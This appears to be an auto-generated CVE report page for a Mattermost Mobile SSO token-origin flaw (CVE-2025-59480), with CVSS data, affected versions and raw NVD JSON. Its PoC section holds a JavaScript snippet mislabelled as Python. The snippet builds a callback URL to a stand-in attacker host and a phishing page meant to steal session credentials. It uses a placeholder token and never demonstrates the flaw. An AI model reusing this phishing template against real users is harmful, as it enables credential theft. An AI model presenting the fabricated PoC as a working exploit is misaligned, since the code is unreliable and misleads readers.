Security Vulnerability Report
中文
CVE-2025-59480 CVSS 6.1 MEDIUM

CVE-2025-59480

Published: 2025-11-13 18:15:51
Last Modified: 2026-01-21 19:37:37

Description

Mattermost Mobile Apps versions <=2.32.0 fail to verify that SSO redirect tokens originate from the trusted server, which allows a malicious Mattermost instance or on-path attacker to obtain user session credentials via crafted token-in-URL responses

CVSS Details

CVSS Score
6.1
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:N/A:N

Configurations (Affected Products)

cpe:2.3:a:mattermost:mattermost_mobile:*:*:*:*:*:*:*:* - VULNERABLE
Mattermost Mobile Apps <= 2.32.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
// CVE-2025-59480 PoC - Malicious SSO Redirect Token Attack // This PoC demonstrates how an attacker can craft a malicious URL to steal session credentials const maliciousServer = 'https://attacker-controlled-mattermost.example.com'; const targetUser = '[email protected]'; // Step 1: Attacker sets up a malicious Mattermost instance or intercepts traffic // Step 2: Attacker crafts a malicious SSO redirect URL const maliciousRedirectURL = `${maliciousServer}/oauth/callback?` + `token=${generateMaliciousToken()}&` + `redirect_to=${encodeURIComponent('mattermost://login?redirect_to=/channels/town-square')}`; // Step 3: Attacker creates a phishing page or injects the malicious URL const phishingPage = ` <html> <body> <h1>Please verify your Mattermost account</h1> <a href="${maliciousRedirectURL}">Click here to continue</a> </body> </html>`; // Step 4: When victim clicks the link, Mattermost mobile app processes the malicious token // The app fails to verify token origin, establishing attacker's session instead console.log('Malicious URL generated:', maliciousRedirectURL); console.log('Deploy phishing page to trick victim into clicking the link'); function generateMaliciousToken() { // Token would be generated by malicious Mattermost server return 'eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.malicious.token'; }

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-59480", "sourceIdentifier": "[email protected]", "published": "2025-11-13T18:15:50.703", "lastModified": "2026-01-21T19:37:37.203", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Mattermost Mobile Apps versions <=2.32.0 fail to verify that SSO redirect tokens originate from the trusted server, which allows a malicious Mattermost instance or on-path attacker to obtain user session credentials via crafted token-in-URL responses"}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:N/A:N", "baseScore": 6.1, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.6, "impactScore": 4.0}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-352"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:mattermost:mattermost_mobile:*:*:*:*:*:*:*:*", "versionEndExcluding": "2.33.0", "matchCriteriaId": "114847B8-7119-46D1-B8D2-BF0A6A6846CC"}]}]}], "references": [{"url": "https://mattermost.com/security-updates", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}